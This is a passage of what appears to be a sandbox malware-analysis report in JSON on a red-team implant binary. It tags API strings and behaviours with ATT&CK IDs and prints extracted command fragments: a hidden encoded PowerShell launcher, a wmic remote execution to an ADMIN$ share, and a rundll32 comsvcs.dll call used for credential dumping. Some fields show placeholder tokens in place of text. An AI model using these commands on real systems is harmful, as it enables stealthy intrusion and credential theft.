\"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string(Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string(Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-661","type":2,"relevance":1,"name":"Able to identify virtual environment by using user activity (API string)","description":"file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"RedTeamImplant.exe\")\n Found string \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; File: \"RedTeamImplant.exe\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007844-00000C2B-1862913106\")\n file/memory contains long string with (Indicator: \"GetCommandLine\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")\n Found string \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")\n Found string \"C:\\RedTeGetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007844.00000002.187602.00100000.00000004.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"RedTeamImplant.exe\")","Found string \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; File: \"RedTeamImplant.exe\")","Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007844-00000C2B-1862913106\")","file/memory contains long string with (Indicator: \"GetCommandLine\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found string \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found string \"C:\\RedTeGetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007844.00000002.187602.00100000.00000004.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007844-00000C2B-1862913106\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetCommandLine\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"C:\\RedTeGetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00007844.00000002.187602.00100000.00000004.mdmp\")"}],"origin":"File/Memory","attck_id":"T1497.002","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1497/002","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-910","type":2,"relevance":1,"name":"Able to query service configuration on system (API string)","description":"file/memory contains long string(File: \"RedTeamImplant.exe\")\n file/memory contains long string(Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string(File: \"RedTeamImplant.exe\")","file/memory contains long string(Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string(File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string(Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1007","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1007","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-739","type":2,"relevance":1,"name":"Able to retrieve geographical location information","description":"file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"getaddrinfo\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"getaddrinfo\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"getaddrinfo\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-89","type":2,"relevance":1,"name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetSystemInfo\" in file \"RedTeamImplant.exe\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in file \"RedTeamImplant.exe\"\n Found system information discovery API: \"GetEnvironmentStrings (in long string)\" in file \"RedTeamImplant.exe\"\n Found system information discovery API: \"ExpandEnvironmentStrings (in long string)\" in file \"RedTeamImplant.exe\"\n Found system information discovery API: \"RtlNtStatusToDosError (in long string)\" in file \"RedTeamImplant.exe\"\n Found system information discovery API: \"syscall.GetEnvironmentStrings\" in file \"RedTeamImplant.exe\"\n Found system information discovery API: \"syscall.GetEnvironmentStrings\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\"","description_v2":["Found system information discovery API: \"GetSystemInfo\" in file \"RedTeamImplant.exe\"","Found system information discovery API: \"GetEnvironmentStringsW\" in file \"RedTeamImplant.exe\"","Found system information discovery API: \"GetEnvironmentStrings (in long string)\" in file \"RedTeamImplant.exe\"","Found system information discovery API: \"ExpandEnvironmentStrings (in long string)\" in file \"RedTeamImplant.exe\"","Found system information discovery API: \"RtlNtStatusToDosError (in long string)\" in file \"RedTeamImplant.exe\"","Found system information discovery API: \"syscall.GetEnvironmentStrings\" in file \"RedTeamImplant.exe\"","Found system information discovery API: \"syscall.GetEnvironmentStrings\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\""],"description_v3":[{"type":"text","value":"Found system information discovery API: \"GetSystemInfo\" in file \"RedTeamImplant.exe\""},{"type":"linebreak"},{"type":"text","value":"Found system information discovery API: \"GetEnvironmentStringsW\" in file \"RedTeamImplant.exe\""},{"type":"linebreak"},{"type":"text","value":"Found system information discovery API: \"GetEnvironmentStrings (in long string)\" in file \"RedTeamImplant.exe\""},{"type":"linebreak"},{"type":"text","value":"Found system information discovery API: \"ExpandEnvironmentStrings (in long string)\" in file \"RedTeamImplant.exe\""},{"type":"linebreak"},{"type":"text","value":"Found system information discovery API: \"RtlNtStatusToDosError (in long string)\" in file \"RedTeamImplant.exe\""},{"type":"linebreak"},{"type":"text","value":"Found system information discovery API: \"syscall.GetEnvironmentStrings\" in file \"RedTeamImplant.exe\""},{"type":"linebreak"},{"type":"text","value":"Found system information discovery API: \"syscall.GetEnvironmentStrings\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\""}],"origin":"File/Memory","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"api-294","type":6,"relevance":3,"name":"Attempts to call APIs to gather system and hardware detail","description":"\"RedTeamImplant.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00007844)","description_v2":["\"RedTeamImplant.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00007844)"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00007844)"}],"origin":"API Call","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"api-297","type":6,"relevance":3,"name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"RedTeamImplant.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00007844)","description_v2":["\"RedTeamImplant.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00007844)"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00007844)"}],"origin":"API Call","attck_id":"T1003","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1003","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"api-124","type":6,"relevance":3,"name":"Calls an API typically used to get product type","description":"\"RedTeamImplant.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007844)","description_v2":["\"RedTeamImplant.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007844)"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007844)"}],"origin":"API Call","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"api-125","type":6,"relevance":3,"name":"Calls an API typically used to get system version information","description":"$29","description_v2":["\"RedTeamImplant.exe\" called \"RtlGetVersion\" with parameter 140100000a000000000000005d58000002000000000000000000000000000000000000000000000028e85f7d0a000000180000000a000000f775cb1c85b200004f7e5899b80100000000000000000000c0e75f7d0a000000f0545799b8010000007e5899b80100001c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000b232f87f0000ef67940f8c600000e046b232f87f0000507e5899b80100009806b332f87f0000e0c75799b80100000000f930f87f00000000000000000000e046b232f87f00000300000000000000f3853733f87f00006e47b232f87f000027663733f87f000000e85f7d (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"RtlGetVersion\" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007844)","\"RedTeamImplant.exe\" called \"RtlGetVersion\" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007844)"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" called \"RtlGetVersion\" with parameter 140100000a000000000000005d58000002000000000000000000000000000000000000000000000028e85f7d0a000000180000000a000000f775cb1c85b200004f7e5899b80100000000000000000000c0e75f7d0a000000f0545799b8010000007e5899b80100001c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000b232f87f0000ef67940f8c600000e046b232f87f0000507e5899b80100009806b332f87f0000e0c75799b80100000000f930f87f00000000000000000000e046b232f87f00000300000000000000f3853733f87f00006e47b232f87f000027663733f87f000000e85f7d (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"RtlGetVersion\" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007844)"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" called \"RtlGetVersion\" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007844)"}],"origin":"API Call","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-365","type":2,"relevance":1,"name":"Contains ability to perform scheduled transfer (API string)","description":"file/memory contains long string with (Indicator: \"GetSystemTime\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"GetSystemTime\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"GetSystemTime\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetSystemTime\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"GetSystemTime\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetSystemTime\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1029","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1029","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"registry-78","type":3,"relevance":1,"name":"Contains ability to read software policies","description":"\"RedTeamImplant.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"RedTeamImplant.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")","description_v2":["\"RedTeamImplant.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","\"RedTeamImplant.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")"},{"type":"linebreak"},{"type":"text","value":"\"RedTeamImplant.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")"}],"origin":"Registry Access","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-249","type":2,"relevance":1,"name":"Contains ability to retrieve file time (API string)","description":"file/memory contains long string with (Indicator: \"GetSystemTimeAsFileTime\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"GetSystemTimeAsFileTime\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"GetSystemTimeAsFileTime\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1070.006","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1070/006","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-247","type":2,"relevance":1,"name":"Contains ability to retrieve machine time (API string)","description":"file/memory contains long string with (Indicator: \"GetSystemTime\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"GetSystemTime\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"GetSystemTime\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetSystemTime\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"GetSystemTime\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetSystemTime\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1124","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1124","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-248","type":2,"relevance":1,"name":"Contains ability to retrieve machine timezone (API string)","description":"file/memory contains long string with (Indicator: \"GetTimeZoneInformation\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"syscall.GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"syscall.GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"GetTimeZoneInformation\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"GetTimeZoneInformation\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1124","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1124","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-171","type":2,"relevance":1,"name":"Contains ability to retrieve the OS information (API string)","description":"file/memory contains long string with (Indicator: \"GetVersion\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"internal/syscall/windows.rtlGetVersion\" (Indicator: \"GetVersion\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"GetVersion\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")\n Found reference to API \"internal/syscall/windows.rtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"GetVersion\"; File: \"RedTeamImplant.exe\")","Found reference to API \"internal/syscall/windows.rtlGetVersion\" (Indicator: \"GetVersion\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetVersion\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"internal/syscall/windows.rtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"GetVersion\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"internal/syscall/windows.rtlGetVersion\" (Indicator: \"GetVersion\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetVersion\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"internal/syscall/windows.rtlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-167","type":2,"relevance":1,"name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"file/memory contains long string with (Indicator: \"GetStartupInfo\"; File: \"RedTeamImplant.exe\")","description_v2":["file/memory contains long string with (Indicator: \"GetStartupInfo\"; File: \"RedTeamImplant.exe\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"GetStartupInfo\"; File: \"RedTeamImplant.exe\")"}],"origin":"File/Memory","attck_id":"T1543","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1543","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-432","type":2,"relevance":1,"name":"Contains ability to retrieve the current user information","description":"$2a","description_v2":["Observed string: \"CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject(\"WScript.Shell\").Run \"powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:\"%s\" process call create \"cmd /c whoami > \\\\\\\\%s\\\\ADMIN$\\\\x.txt\"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\\Windows\\System32\\comsvcs.dll","$2b","Observed string: \"CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject(\"WScript.Shell\").Run \"powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:\"%s\" process call create \"cmd /c whoami > \\\\\\\\%s\\\\ADMIN$\\\\x.txt\"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\\Windows\\System32\\comsvcs.dll","$2c","$2d"],"description_v3":[{"type":"text","value":"Observed string: \"CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject(\"WScript.Shell\").Run \"powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:\"%s\" process call create \"cmd /c whoami > \\\\\\\\%s\\\\ADMIN$\\\\x.txt\"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 %WINDIR%\\System32\\comsvcs.dll"},{"type":"linebreak"},{"type":"text","value":"$2e"},{"type":"linebreak"},{"type":"text","value":"Observed string: \"CommandContextruntime: GetQueuedCompletionStatusEx returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)CreateObject(\"WScript.Shell\").Run \"powershell -NoP -NonI -W Hidden -Enc runtime: GetQueuedCompletionStatusEx returned net_op with invalid mode= runtime.Goexit called in a thread that was not created by the Go runtimewmic /node:\"%s\" process call create \"cmd /c whoami > \\\\\\\\%s\\\\ADMIN$\\\\x.txt\"MapIter.Next called on an iterator that does not have an associated map ValueNtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notcannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacket exists but NtAssociateWaitCompletionPacket does not (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race)rundll32 C:\\Windows\\System32\\comsvcs.dll"},{"type":"linebreak"},{"type":"text","value":"$2f"},{"type":"linebreak"},{"type":"text","value":"$30"}],"origin":"File/Memory","attck_id":"T1033","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1033","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Environment Awareness","identifier":"string-162","type":2,"relevance":1,"name":"Contains ability to retrieve volume information (API string)","description":"file/memory contains long string with (Indicator: \"GetVolumeInformation\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"GetVolumeNameForVolumeMountPoint\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"GetVolumeInformation\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetVolumeNameForVolumeMountPoint\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"GetVolumeInformation\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetVolumeNameForVolumeMountPoint\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-307","type":2,"relevance":1,"name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKey (in long string)\" in file \"RedTeamImplant.exe\"\n Found registry modification API: \"RegLoadMUIString (in long string)\" in file \"RedTeamImplant.exe\"\n Found registry modification API: \"RegCreateKey (in long string)\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\"\n Found registry modification API: \"RegLoadMUIString (in long string)\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\"","description_v2":["Found registry modification API: \"RegCreateKey (in long string)\" in file \"RedTeamImplant.exe\"","Found registry modification API: \"RegLoadMUIString (in long string)\" in file \"RedTeamImplant.exe\"","Found registry modification API: \"RegCreateKey (in long string)\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\"","Found registry modification API: \"RegLoadMUIString (in long string)\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\""],"description_v3":[{"type":"text","value":"Found registry modification API: \"RegCreateKey (in long string)\" in file \"RedTeamImplant.exe\""},{"type":"linebreak"},{"type":"text","value":"Found registry modification API: \"RegLoadMUIString (in long string)\" in file \"RedTeamImplant.exe\""},{"type":"linebreak"},{"type":"text","value":"Found registry modification API: \"RegCreateKey (in long string)\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\""},{"type":"linebreak"},{"type":"text","value":"Found registry modification API: \"RegLoadMUIString (in long string)\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\""}],"origin":"File/Memory","attck_id":"T1112","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1112","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-191","type":2,"relevance":1,"name":"Able to enumerate service (API string)","description":"file/memory contains long string with (Indicator: \"OpenSCManager\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"QueryServiceStatus\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"OpenSCManager\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")\n file/memory contains long string with (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"OpenSCManager\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"QueryServiceStatus\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"OpenSCManager\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"QueryServiceStatus\"; Source: 